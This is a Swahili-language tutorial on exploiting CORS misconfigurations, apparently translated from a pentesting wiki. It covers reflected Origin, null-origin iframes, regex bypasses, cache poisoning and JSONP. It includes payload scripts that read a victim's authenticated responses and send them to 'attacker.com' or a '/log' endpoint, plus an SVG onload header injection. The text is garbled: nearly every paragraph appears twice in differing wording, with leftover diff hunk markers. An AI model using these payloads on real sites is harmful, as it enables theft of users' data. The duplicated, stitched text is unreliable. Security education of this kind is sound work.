Itifaki ya **Kugawana Rasilmali kati ya Mwanzo Mbalimbali (CORS)** inahitaji ukaguzi huu wa awali ili kubaini uwezekano wa operesheni ya kuvuka-mwanzo iliyohitajika kwa kuthibitisha njia na vichwa vya habari vinavyoruhusiwa, na uaminifu wa asili. Ili kuelewa kwa undani hali ambazo zinapuuza haja ya ombi la awali, tazama mwongozo kamili uliotolewa na [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
Itifaki ya **Kugawana Rasilmali kati ya Matawi (CORS)** inahitaji ukaguzi huu wa kabla ya safari ili kubaini uwezekano wa operesheni ya kuvuka-matawi iliyotakiwa kwa kuthibitisha njia zilizoruhusiwa, vichwa, na uaminifu wa asili. Kwa uelewa kamili wa hali zipi zinazopuuza haja ya ombi la kabla ya safari, tazama mwongozo kamili uliotolewa na [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
Ni muhimu kuzingatia kwamba **ukosefu wa ombi la awali hauondoi hitaji la majibu kuwa na vichwa vya idhini**. Bila vichwa hivi, kivinjari kinashindwa kusindika majibu kutoka kwa ombi la kuvuka-mwanzo.
Ni muhimu kutambua kwamba **ukosefu wa ombi la kabla ya safari haimaanishi kwamba jibu halihitaji kubeba vichwa vya idhini**. Bila vichwa hivi, kivinjari kimelemazwa katika uwezo wake wa kusindika jibu kutoka kwa ombi la kuvuka-matawi.
Fikiria mfano ufuatao wa ombi la awali linalolenga kutumia njia ya `PUT` pamoja na kichwa cha desturi kinachoitwa `Special-Request-Header`:
Chukua mfano ufuatao wa ombi la kabla ya safari lililolenga kutumia njia ya `PUT` pamoja na kichwa cha desturi kilichoitwa `Special-Request-Header`:
```
OPTIONS /info HTTP/1.1
Host: example2.com
@ -89,7 +89,7 @@ Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
Kama jibu, server inaweza kurudisha vichwa vya habari vinavyoonyesha njia zilizokubalika, asili iliyoruhusiwa, na maelezo mengine ya sera ya CORS, kama inavyoonyeshwa hapa chini:
Kama jibu, server inaweza kurudisha vichwa vinavyoonyesha njia zilizokubalika, asili iliyoruhusiwa, na maelezo mengine ya sera ya CORS, kama inavyoonyeshwa hapa chini:
```markdown
HTTP/1.1 204 No Content
...
@ -99,23 +99,22 @@ Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
- **`Access-Control-Allow-Headers`**: Kichwa hiki kinaeleza ni vichwa vipi vinaweza kutumika wakati wa ombi halisi. Kinasetwa na seva ili kuonyesha vichwa vilivyoidhinishwa katika maombi kutoka kwa mteja.
- **`Access-Control-Expose-Headers`**: Kupitia kichwa hiki, seva inaarifu mteja ni vichwa vipi vinaweza kuonyeshwa kama sehemu ya jibu mbali na vichwa vya jibu rahisi.
- **`Access-Control-Max-Age`**: Kichwa hiki kinaonyesha muda gani matokeo ya ombi la awali yanaweza kuhifadhiwa katika cache. Seva inaweka muda wa kikomo, kwa sekunde, ambapo habari iliyorudishwa na ombi la awali inaweza kutumika tena.
- **`Access-Control-Request-Headers`**: Kinatumika katika maombi ya awali, kichwa hiki kinasetwa na mteja ili kuarifu seva ni vichwa vipi vya HTTP mteja anataka kutumia katika ombi halisi.
- **`Access-Control-Request-Method`**: Kichwa hiki, kinachotumika pia katika maombi ya awali, kinasetwa na mteja ili kuonyesha ni njia gani ya HTTP itatumika katika ombi halisi.
- **`Origin`**: Kichwa hiki kinawekwa moja kwa moja na kivinjari na kinaonyesha asili ya ombi la msingi. Kinatumika na seva ili kufanya tathmini ikiwa ombi linalokuja linapaswa kuruhusiwa au kukataliwa kulingana na sera ya CORS.
* **`Access-Control-Allow-Headers`**: Kichwa hiki hufafanua ni vichwa vipi vinaweza kutumiwa wakati wa ombi halisi. Kinasanidiwa na seva kuonyesha vichwa vilivyoidhinishwa katika maombi kutoka kwa mteja.
* **`Access-Control-Expose-Headers`**: Kupitia kichwa hiki, seva inaarifu mteja ni vichwa vipi vinaweza kuwekwa wazi kama sehemu ya jibu mbali na vichwa vya jibu rahisi.
* **`Access-Control-Max-Age`**: Kichwa hiki kinaonyesha muda gani matokeo ya ombi la awali yanaweza kuhifadhiwa. Seva inaweka wakati wa maksimumu, kwa sekunde, ambapo habari iliyorudishwa na ombi la awali inaweza kutumiwa tena.
* **`Access-Control-Request-Headers`**: Kutumika katika maombi ya awali, kichwa hiki kinasanidiwa na mteja kuarifu seva ni vichwa vya HTTP vipi mteja anataka kutumia katika ombi halisi.
* **`Access-Control-Request-Method`**: Kichwa hiki, pia kutumika katika maombi ya awali, kinasanidiwa na mteja kuonyesha ni njia gani ya HTTP itatumika katika ombi halisi.
* **`Origin`**: Kichwa hiki kinasanidiwa moja kwa moja na kivinjari na kinaonyesha asili ya ombi la msingi wa msalaba-mwanzo. Hutumiwa na seva kutathmini ikiwa ombi linalokuja linapaswa kuruhusiwa au kukataliwa kulingana na sera ya CORS.
Tafadhali kumbuka kuwa kwa kawaida (kulingana na aina ya yaliyomo na vichwa vilivyowekwa) katika ombi la **GET/POST hakuna ombi la awali linalotumwa** (ombi linatumwa **moja kwa moja**), lakini ikiwa unataka kupata **vichwa/mwili wa jibu**, lazima iwe na kichwa cha _Access-Control-Allow-Origin_ kinachoruhusu hilo.\
**Kwa hivyo, CORS haiwalindi dhidi ya CSRF (lakini inaweza kuwa na manufaa).**
Tafadhali kumbuka kwamba kawaida (kulingana na aina ya yaliyomo na vichwa vilivyosanidiwa) katika ombi la **GET/POST hakuna ombi la awali linalotumwa** (ombi linatumiwa **moja kwa moja**), lakini ikiwa unataka kupata **vichwa/mwili wa jibu**, lazima liwe na kichwa cha _Access-Control-Allow-Origin_ kuruhusu hilo.\
**Hivyo basi, CORS haitoi ulinzi dhidi ya CSRF (ingawa inaweza kuwa na manufaa).**
### **Ombi la Awali la Mtandao wa Ndani**
### **Maombi ya Mtandao wa Ndani Ombi la Awali**
1. **`Access-Control-Request-Local-Network`**: Kichwa hiki kinaongezwa katika ombi la mteja ili kuonyesha kuwa ombi linahusiana na rasilimali ya mtandao wa ndani. Kinatumika kama alama ya kuonyesha seva kuwa ombi linatoka ndani ya mtandao wa ndani.
1. **`Access-Control-Request-Local-Network`**: Kichwa hiki kinaingizwa katika ombi la mteja kumaanisha kuwa uchunguzi unalenga rasilimali ya mtandao wa ndani. Hutumika kama ishara kuarifu seva kuwa ombi linatoka ndani ya mtandao wa ndani.
2. **`Access-Control-Allow-Local-Network`**: Kama jibu, seva hutumia kichwa hiki kuwasiliana kwamba rasilimali iliyoombwa inaruhusiwa kushirikishwa na vyama nje ya mtandao wa ndani. Hufanya kama taa ya kijani kwa kushirikisha rasilimali kati ya mipaka tofauti ya mtandao, ikidumisha ufikiaji uliodhibitiwa wakati wa kudumisha itifaki za usalama.
2. **`Access-Control-Allow-Local-Network`**: Kama jibu, seva hutumia kichwa hiki kuwasiliana kuwa rasilimali iliyoombwa inaruhusiwa kushirikiwa na vyombo nje ya mtandao wa ndani. Kinatoa idhini ya kushiriki rasilimali kwenye mipaka tofauti ya mtandao, ikihakikisha ufikiaji uliodhibitiwa wakati wa kudumisha itifaki za usalama.
Jibu **sahihi linaloruhusu ombi la mtandao wa ndani** linahitaji pia kuwa na kichwa cha `Access-Controls-Allow-Local_network: true` katika jibu.
**Jibu halali linaloruhusu ombi la mtandao wa ndani** lazima pia liwe na kichwa `Access-Controls-Allow-Local_network: true`:
```
HTTP/1.1 200 OK
...
@ -127,24 +126,22 @@ Content-Length: 0
...
```
{% hint style="warning" %}
Tafadhali kumbuka kuwa anwani ya IP ya linux **0.0.0.0** inafanya kazi ya **kuzunguka** mahitaji haya ili kupata ufikiaji wa localhost kwa sababu anwani hiyo ya IP haihesabiwi kuwa "ya ndani".
Pia ni rahisi **kuzunguka mahitaji ya Mtandao wa Ndani** ikiwa unatumia **anwani ya IP ya umma ya kifaa cha ndani** (kama vile anwani ya IP ya umma ya router). Kwa sababu katika hali kadhaa, hata ikiwa anwani ya **IP ya umma** inafikiwa, ikiwa ni **kutoka kwenye mtandao wa ndani**, ufikiaji utaruhusiwa.
Tafadhali kumbuka kuwa IP ya linux **0.0.0.0** inafanya kazi kwa **kupita** mahitaji haya ya kufikia localhost kwa sababu anwani hiyo ya IP haichukuliwi "ya ndani".
Pia ni pamoja na **kupita mahitaji ya Mtandao wa Ndani** ikiwa unatumia **anwani ya IP ya umma ya mwisho** (kama vile anwani ya IP ya router). Kwa sababu katika matukio kadhaa, hata kama **anwani ya IP ya umma** inafikiwa, ikiwa ni **kutoka kwenye mtandao wa ndani**, ufikiaji utapewa.
{% endhint %}
## Mazingira yanayoweza kudukuliwa
## Mipangilio Inayoweza Kudukuliwa
Imeonekana kuwa kuweka `Access-Control-Allow-Credentials` kuwa **`kweli`** ni sharti la msingi kwa mashambulizi mengi ya kweli. Mazingira haya huruhusu kivinjari kutuma vitambulisho na kusoma majibu, kuongeza ufanisi wa shambulio. Bila hii, faida ya kufanya ombi kupitia kivinjari badala ya kufanya ombi mwenyewe inapungua, kwani kutumia vidakuzi vya mtumiaji kunakuwa sio rahisi.
Imeonekana kuwa kuweka `Access-Control-Allow-Credentials` kuwa **`kweli`** ni sharti la msingi kwa **mashambulizi halisi** mengi. Mipangilio hii inaruhusu kivinjari kutuma vitambulisho na kusoma majibu, ikiboresha ufanisi wa shambulio. Bila hii, faida ya kufanya kivinjari litoe ombi badala ya kufanya mwenyewe hupungua, kwani kutumia vidakuzi vya mtumiaji kunakuwa sio jambo la kufanyika.
### Ubaya: Kudukua Mahali pa Mtandao kama Uthibitisho
### Ubunifu: Kudukua Mahali pa Mtandao kama Uthibitisho
Kuna ubaya ambapo mahali pa mtandao wa mwathirika unafanya kazi kama aina fulani ya uthibitisho. Hii inaruhusu kivinjari cha mwathirika kutumiwa kama proksi, kuzunguka uthibitisho unaotegemea anwani ya IP ili kupata ufikiaji wa programu za ndani za mtandao. Njia hii ina fanana na DNS rebinding lakini ni rahisi zaidi kudukua.
Kuna ubunifu ambapo mahali pa mtandao wa mwathiriwa hufanya kama aina fulani ya uthibitisho. Hii inaruhusu kivinjari cha mwathiriwa kutumika kama proksi, kuzunguka uthibitisho wa msingi wa IP kufikia programu za mtandao wa ndani. Mbinu hii inashirikisha fanano katika athari na DNS rebinding lakini ni rahisi zaidi kudukua.
### Kurejeleza `Origin` katika `Access-Control-Allow-Origin`
### Kutafakari `Origin` katika `Access-Control-Allow-Origin`
Hali halisi ambapo thamani ya kichwa cha `Origin` inarejelezwa katika `Access-Control-Allow-Origin` ni nadra kwa nadharia kutokana na vizuizi vya kuunganisha vichwa hivi. Walakini, watengenezaji wanaotaka kuwezesha CORS kwa URL nyingi wanaweza kuzalisha kichwa cha `Access-Control-Allow-Origin` kwa kuchukua thamani ya kichwa cha `Origin`. Njia hii inaweza kuleta udhaifu, haswa wakati mshambuliaji anatumia kikoa chenye jina linalofanana na halisi, hivyo kudanganya mantiki ya ukaguzi.
Hali halisi ambapo thamani ya kichwa cha `Origin` inatafakariwa katika `Access-Control-Allow-Origin` ni nadra kwa nadharia kutokana na vizuizi vya kuunganisha vichwa hivi. Hata hivyo, watengenezaji wanaotaka kuwezesha CORS kwa URL nyingi wanaweza kuzalisha kwa njia ya kudumu kichwa cha `Access-Control-Allow-Origin` kwa kunakili thamani ya kichwa cha `Origin`. Mbinu hii inaweza kuleta mapungufu, hasa wakati mshambuliaji anatumia kikoa chenye jina lililoundwa kuonekana halali, hivyo kudanganya mantiki ya uthibitisho.
```html
<script>
var req = new XMLHttpRequest();
@ -157,9 +154,9 @@ location='/log?key='+this.responseText;
};
</script>
```
### Kudukua `null` Chanzo
### Kutumia Asili ya `null`
Chanzo cha `null`, kilichotajwa kwa hali kama vile maelekezo au faili za HTML za ndani, kinashikilia nafasi ya pekee. Baadhi ya programu huruhusu chanzo hiki kupitia orodha nyeupe ili kuwezesha maendeleo ya ndani, bila kukusudia kuruhusu tovuti yoyote kuiga chanzo cha `null` kupitia kisanduku cha iframe, hivyo kudukua vizuizi vya CORS.
Asili ya `null`, iliyoainishwa kwa hali kama vile migeuko au faili za HTML za ndani, inashikilia nafasi ya kipekee. Baadhi ya programu hupitia orodha nyeupe ya asili hii ili kurahisisha maendeleo ya ndani, kwa kubahatisha kuruhusu tovuti yoyote kufanana na asili ya `null` kupitia kipande cha iframe kilichofungwa, hivyo kukiuka vizuizi vya CORS.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
@ -185,23 +182,23 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
### Mbinu za Kupita Kwenye Msimbo wa Kawaida
### Mbinu za Kupita kwa Mipangilio ya Misaada ya Kielelezo cha Kawaida
Unapokutana na orodha nyeupe ya kikoa, ni muhimu kujaribu fursa za kupita kwenye, kama kuongeza kikoa cha muharibifu kwenye kikoa kilichoorodheshwa au kutumia udhaifu wa kuchukua udhibiti wa subdomain. Aidha, mifumo ya msimbo wa kawaida inayotumiwa kwa uhakiki wa kikoa inaweza kusahau maelezo madogo katika kanuni za uandishi wa majina ya kikoa, hivyo kutoa fursa zaidi za kupita kwenye.
Uponapoana orodha ya kikoa, ni muhimu kujaribu fursa za kupita, kama vile kuongeza kikoa cha mshambuliaji kwa kikoa kilichoorodheshwa au kutumia udhaifu wa kuchukua udhibiti wa subdomain. Aidha, mifumo ya kawaida ya kutambua kikoa inaweza kusahau nyuso katika sheria za kutaja kikoa, hivyo kutoa fursa zaidi za kupita.
### Mbinu za Kupita Kwenye Msimbo wa Kawaida za Juu
### Mbinu za Kupita za Kawaida za Misaada ya Kielezo
Kawaida, mifumo ya msimbo wa kawaida inazingatia herufi na nambari, alama ya nukta (.), na alama ya mkato (-), huku ikisahau uwezekano mwingine. Kwa mfano, jina la kikoa lililoundwa kwa kujumuisha herufi zinazotafsiriwa tofauti na vivinjari na mifumo ya msimbo wa kawaida inaweza kupita kwenye ukaguzi wa usalama. Jinsi Safari, Chrome, na Firefox vinavyoshughulikia herufi za chini katika subdomain inaonyesha jinsi tofauti hizo zinaweza kutumika kuzunguka mantiki ya uhakiki wa kikoa.
Mifumo ya Regex kawaida huzingatia wahusika wa alfa-namba, dot (.), na hyphen (-), ikisahau uwezekano mwingine. Kwa mfano, jina la kikoa lililoundwa kuingiza wahusika wanaotafsiriwa tofauti na vivinjari na mifumo ya Regex inaweza kupita vipimo vya usalama. Jinsi Safari, Chrome, na Firefox vinavyoshughulikia wahusika wa chini chini katika subdomains inaonyesha jinsi tofauti kama hizo zinaweza kutumika kuzunguka mantiki ya uthibitishaji wa kikoa.
**Kwa habari zaidi na mipangilio ya ukaguzi huu wa kupita kwenye:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **na** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
**Kwa habari zaidi na mipangilio ya ukaguzi huu wa kupita:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **na** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
### Kutoka kwa XSS ndani ya subdomain
### Kutoka kwa XSS ndani ya Subdomain
Watengenezaji mara nyingi hutekeleza njia za kinga ili kulinda dhidi ya uchexploitation wa CORS kwa kuorodhesha kikoa ambacho kinaruhusiwa kuomba habari. Licha ya tahadhari hizi, usalama wa mfumo si kamili. Kuwepo kwa hata subdomain moja yenye udhaifu ndani ya vikoa vilivyoorodheshwa kunaweza kufungua mlango wa uchexploitation wa CORS kupitia udhaifu mwingine, kama vile XSS (Cross-Site Scripting).
Watengenezaji mara nyingi hutekeleza mifumo ya ulinzi kulinda dhidi ya unyanyasaji wa CORS kwa kuorodhesha kikoa kinachoruhusiwa kuomba habari. Licha ya tahadhari hizi, usalama wa mfumo si wa uhakika. Kuwepo hata wa subdomain moja yenye udhaifu ndani ya vikoa vilivyoorodheshwa kunaweza kufungua mlango wa unyanyasaji wa CORS kupitia udhaifu mwingine, kama vile XSS (Udukuzi wa Tovuti za Msalaba).
Kwa mfano, fikiria hali ambapo kikoa, `requester.com`, kimeorodheshwa kuwa na ruhusa ya kupata rasilimali kutoka kikoa kingine, `provider.com`. Mazingira ya upande wa seva yanaweza kuonekana kama ifuatavyo:
Kwa mfano, fikiria hali ambapo kikoa, `requester.com`, kimeorodheshwa kupata rasilimali kutoka kikoa kingine, `provider.com`. Mipangilio ya upande wa seva inaweza kuonekana kama hii:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
@ -209,44 +206,42 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
Katika mpangilio huu, subdomains zote za `requester.com` zinaruhusiwa kupata. Hata hivyo, ikiwa subdomain, kama vile `sub.requester.com`, inaathiriwa na udhaifu wa XSS, mshambuliaji anaweza kutumia udhaifu huu. Kwa mfano, mshambuliaji aliye na ufikiaji wa `sub.requester.com` anaweza kutumia udhaifu wa XSS kukiuka sera za CORS na kupata rasilimali kwa nia mbaya kwenye `provider.com`.
Katika hali hii, subdomains zote za `requester.com` zinaruhusiwa kupata. Hata hivyo, ikiwa subdomain, sema `sub.requester.com`, inashambuliwa na udhaifu wa XSS, mshambuliaji anaweza kutumia udhaifu huu. Kwa mfano, mshambuliaji mwenye ufikivu wa `sub.requester.com` anaweza kutumia udhaifu wa XSS kukiuka sera za CORS na kupata rasilimali kwa uovu kwenye `provider.com`.
### **Udanganyifu wa Cache Upande wa Seva**
### **Udanganyifu wa cache upande wa seva**
[**Kutoka kwa utafiti huu**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
**[Kutoka kwa utafiti huu](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
Kuna uwezekano wa kudanganya cache upande wa seva kupitia kuingiza kichwa cha HTTP, udhaifu wa Stored Cross-Site Scripting (XSS) unaweza kusababishwa. Hali hii hutokea wakati programu inashindwa kusafisha kichwa cha `Origin` kwa herufi haramu, ikiumba udhaifu hasa kwa watumiaji wa Internet Explorer na Edge. Vivinjari hivi vinachukulia (0x0d) kama kifaa halali cha kumaliza kichwa cha HTTP, ikisababisha udhaifu wa kuingiza kichwa cha HTTP.
Inawezekana kwa kudanganya cache upande wa seva kupitia uingizaji wa kichwa cha HTTP, udhaifu wa Stored Cross-Site Scripting (XSS) unaweza kusababishwa. Hali hii inatokea wakati programu haijasafisha kichwa cha `Origin` kwa herufi haramu, na kuunda udhaifu hasa kwa watumiaji wa Internet Explorer na Edge. Vivinjari hivi vinachukulia `\r` (0x0d) kama mtemi wa kichwa halali cha HTTP, na hivyo kusababisha udhaifu wa uingizaji wa kichwa cha HTTP.
Fikiria ombi lifuatalo ambapo kichwa cha `Origin` kimebadilishwa:
```text
Zingatia ombi lifuatalo ambapo kichwa cha `Origin` kimebadilishwa:
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Internet Explorer na Edge huchukulia jibu kama:
```text
```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Wakati wa kudukua udhaifu huu moja kwa moja kwa kufanya kivinjari cha wavuti kutuma kichwa kilichoharibika sio rahisi, ombi lililoundwa linaweza kuundwa kwa mkono kwa kutumia zana kama Burp Suite. Njia hii inaweza kusababisha hifadhidata ya seva kuokoa jibu na kuisambaza kwa wengine kwa bahati mbaya. Malipo yaliyoundwa yanakusudia kubadilisha seti ya herufi ya ukurasa kuwa UTF-7, aina ya uandikishaji wa herufi mara nyingi inayohusishwa na udhaifu wa XSS kutokana na uwezo wake wa kuandika herufi kwa njia ambayo inaweza kutekelezwa kama skripti katika muktadha fulani.
Wakati wa kudukua udhaifu huu moja kwa moja kwa kufanya kivinjari cha wavuti kutuma kichwa kilichoharibika sio jambo linalowezekana, ombi lililoundwa kwa makini linaweza kuzalishwa kwa mkono kwa kutumia zana kama Burp Suite. Njia hii inaweza kusababisha cache ya upande wa seva kuokoa jibu na kwa kubahatisha kulitumikia kwa wengine. Mzigo ulioandaliwa unalenga kubadilisha seti ya herufi ya ukurasa kuwa UTF-7, nambari ya kuweka herufi mara nyingi inayohusishwa na udhaifu wa XSS kutokana na uwezo wake wa kuweka herufi kwa njia ambayo inaweza kutekelezwa kama script katika muktadha fulani.
Kwa kusoma zaidi juu ya udhaifu wa XSS uliowekwa, angalia [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
Kwa kusoma zaidi kuhusu udhaifu wa XSS uliowekwa, angalia [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
**Note**: Udukuzi wa udhaifu wa kuingiza kichwa cha HTTP, haswa kupitia sumu ya hifadhidata ya seva, unasisitiza umuhimu mkubwa wa kuthibitisha na kusafisha data yote inayotolewa na mtumiaji, pamoja na vichwa vya HTTP. Tumia mfano thabiti wa usalama ambao unajumuisha uthibitishaji wa data ili kuzuia udhaifu kama huo.
**Angalizo**: Kutumia vibaya udhaifu wa kuingiza kichwa cha HTTP, hasa kupitia sumu ya cache ya upande wa seva, inathibitisha umuhimu mkubwa wa kuthibitisha na kusafisha mwingiliano wote unaotolewa na mtumiaji, ikiwa ni pamoja na vichwa vya HTTP. Tumia mfano thabiti wa usalama ambao unajumuisha uthibitishaji wa mwingiliano ili kuzuia udhaifu kama huo.
### **Sumu ya Cache ya Upande wa Mteja**
### **Udhaifu wa sumu ya hifadhidata ya upande wa mteja**
[Kutoka kwa utafiti huu](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
**[Kutoka kwa utafiti huu](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
Katika hali hii, kipengele cha ukurasa wa wavuti kinachoonyesha maudhui ya kichwa cha HTTP cha desturi bila usimbaji sahihi kinaonekana. Kwa usahihi, ukurasa wa wavuti unarudisha nyuma maudhui yaliyomo kwenye kichwa cha `X-User-id`, ambacho kinaweza kuwa na JavaScript mbaya, kama inavyodhihirishwa na mfano ambapo kichwa kina picha ya SVG iliyoundwa kutekeleza msimbo wa JavaScript wakati wa kupakia.
Katika hali hii, kuna ukurasa wa wavuti unaorudisha maudhui ya kichwa cha HTTP cha desturi bila uandikishaji sahihi. Hasa, ukurasa wa wavuti unarudisha maudhui yaliyomo kwenye kichwa cha `X-User-id`, ambacho kinaweza kuwa na JavaScript mbaya, kama inavyodhihirishwa na mfano ambapo kichwa cha habari kina lebo ya picha ya SVG iliyoundwa kutekeleza msimbo wa JavaScript wakati wa kupakia.
Sera za Kugawana Rasilmali kati ya Mito (CORS) huruhusu kutuma vichwa vya desturi. Walakini, bila jibu kutolewa moja kwa moja na kivinjari kutokana na vizuizi vya CORS, matumizi ya kuingiza kama hii yanaweza kuonekana kuwa na kikomo. Hatua muhimu inatokea wakati wa kuzingatia tabia ya cache ya kivinjari. Ikiwa kichwa cha `Vary: Origin` hakijatajwa, inawezekana kwa jibu la madhara kuhifadhiwa na kivinjari. Baadaye, jibu hili lililohifadhiwa linaweza kuonyeshwa moja kwa moja wakati wa kutembelea URL, ikipuuza haja ya uonyeshaji moja kwa moja wakati wa ombi la awali. Mfumo huu unaimarisha uaminifu wa shambulio kwa kutumia cache ya upande wa mteja.
Sera za Kugawana Rasmi za Rasmi (CORS) huruhusu kutuma vichwa vya desturi. Walakini, bila jibu kutolewa moja kwa moja na kivinjari kutokana na vizuizi vya CORS, matumizi ya sindano kama hiyo yanaweza kuonekana kuwa na kikomo. Hatua muhimu inatokea wakati wa kuzingatia tabia ya hifadhidata ya kivinjari. Ikiwa kichwa cha `Vary: Origin` hakijatajwa, inawezekana kwamba jibu la mbaya linaweza kuhifadhiwa katika hifadhidata ya kivinjari. Kwa kuongezea, jibu hili lililohifadhiwa linaweza kuonyeshwa moja kwa moja wakati wa kuvinjari kwenye URL, bila haja ya kuonyeshwa moja kwa moja wakati wa ombi la awali. Mfumo huu unaimarisha ufanisi wa shambulio kwa kutumia hifadhidata ya upande wa mteja.
Kuonyesha shambulio hili, mfano wa JavaScript unatolewa, ulioundwa kutekelezwa katika mazingira ya ukurasa wa wavuti, kama vile kupitia JSFiddle. Skripti hii inatekeleza hatua rahisi: inatuma ombi kwa URL iliyospecifikwa na kichwa cha desturi kinachojumuisha JavaScript mbaya. Baada ya kukamilisha ombi kwa mafanikio, inajaribu kutembelea URL ya lengo, ikisababisha utekelezaji wa msimbo ulioingizwa ikiwa jibu limehifadhiwa bila kushughulikiwa vizuri kwa kichwa cha `Vary: Origin`.
Ili kuonyesha shambulio hili, mfano wa JavaScript umetolewa, ulioundwa kutekelezwa katika mazingira ya ukurasa wa wavuti, kama vile kupitia JSFiddle. Skripti hii inatekeleza hatua rahisi: inatuma ombi kwa URL iliyoainishwa na kichwa cha desturi kinachojumuisha JavaScript mbaya. Baada ya kukamilisha ombi kwa mafanikio, inajaribu kuvinjari kwenye URL ya lengo, na hivyo kusababisha utekelezaji wa skripti iliyosindikwa ikiwa jibu limehifadhiwa bila kushughulikia kichwa cha `Vary: Origin` kwa usahihi.
Hapa kuna muhtasari wa kifupi wa JavaScript uliotumika kutekeleza shambulio hili:
Hapa kuna maelezo mafupi ya JavaScript uliotumika kutekeleza shambulio hili:
```html
<script>
function gotcha() { location=url }
@ -258,33 +253,32 @@ req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>
```
## Kuepuka
## Kupita
### XSSI (Uingizaji wa Skripti kwa Njia ya Msalaba) / JSONP
### XSSI (Unganisho wa Skripti kati ya Maeneo) / JSONP
XSSI, inayojulikana pia kama Uingizaji wa Skripti kwa Njia ya Msalaba, ni aina ya udhaifu ambao unatumia ukweli kwamba Sera ya Chanzo Sawa (SOP) haitekelezwi wakati wa kuingiza rasilimali kwa kutumia lebo ya skripti. Hii ni kwa sababu skripti inahitaji kuweza kuingizwa kutoka kwenye uwanja tofauti. Udhaifu huu unaruhusu mtu mwenye nia mbaya kupata na kusoma yaliyomo yoyote yaliyokuwa yameingizwa kwa kutumia lebo ya skripti.
XSSI, inayojulikana pia kama Unganisho wa Skripti kati ya Maeneo, ni aina ya udhaifu ambao unatumia ukweli kwamba Sera ya Asili Sawa (SOP) haitekelezwi wakati wa kuingiza rasilimali kwa kutumia lebo ya skripti. Hii ni kwa sababu skripti inahitaji kuweza kuingizwa kutoka uwanja tofauti. Udhaifu huu huruhusu mshambuliaji kupata na kusoma yaliyomo yoyote yaliyokuwa yamejumuishwa kwa kutumia lebo ya skripti.
Udhaifu huu unakuwa muhimu hasa linapokuja suala la JavaScript ya kibinadamu au JSONP (JSON na Kupangwa), haswa wakati habari ya mamlaka ya mazingira kama vile vidakuzi vinatumika kwa uwakiki. Wakati unapoomba rasilimali kutoka kwenye mwenyeji tofauti, vidakuzi hujumuishwa, hivyo kuwafanya kupatikana kwa mtu mwenye nia mbaya.
Udhaifu huu unakuwa muhimu hasa linapokuja suala la JavaScript ya kudumu au JSONP (JSON na Padding), hasa wakati habari za mamlaka ya mazingira kama vile vidakuzi hutumiwa kwa uthibitishaji. Wakati unapoomba rasilimali kutoka kwenye mwenyeji tofauti, vidakuzi huwa ni sehemu ya ombi hilo, hivyo kufanya iwezekane kwa mshambuliaji kuvifikia.
Ili kuelewa vizuri na kupunguza udhaifu huu, unaweza kutumia programu-jalizi ya BurpSuite inayopatikana kwenye [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Programu-jalizi hii inaweza kusaidia kutambua na kushughulikia udhaifu wa XSSI katika programu zako za wavuti.
Ili kuelewa vizuri na kupunguza udhaifu huu, unaweza kutumia programu-jalizi ya BurpSuite inayopatikana kwenye [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Programu-jalizi hii inaweza kusaidia kutambua na kushughulikia udhaifu wa XSSI katika maombi yako ya wavuti.
[**Soma zaidi kuhusu aina tofauti za XSSI na jinsi ya kuzitumia hapa.**](xssi-cross-site-script-inclusion.md)
Jaribu kuongeza **`callback`** **parameter** katika ombi. Labda ukurasa ulikuwa umetayarishwa kutuma data kama JSONP. Katika kesi hiyo, ukurasa utatuma data tena na `Content-Type: application/javascript` ambayo itapita sera ya CORS.
Jaribu kuongeza **`callback`** **parameta** katika ombi. Labda ukurasa ulikuwa umewekwa tayari kutuma data kama JSONP. Katika kesi hiyo, ukurasa utatuma data kwa `Content-Type: application/javascript` ambayo itapita sera ya CORS.
![](<../.gitbook/assets/image (229).png>)
### Kuepuka kwa Rahisi (isiyofaa?)
### Kupita kwa urahisi (bila maana?)
Njia moja ya kuepuka kizuizi cha `Access-Control-Allow-Origin` ni kwa kuomba programu ya wavuti ifanye ombi kwa niaba yako na kutuma jibu. Hata hivyo, katika hali hii, vitambulisho vya mwisho wa mwathirika havitatumwa kwani ombi linafanywa kwa uwanja tofauti.
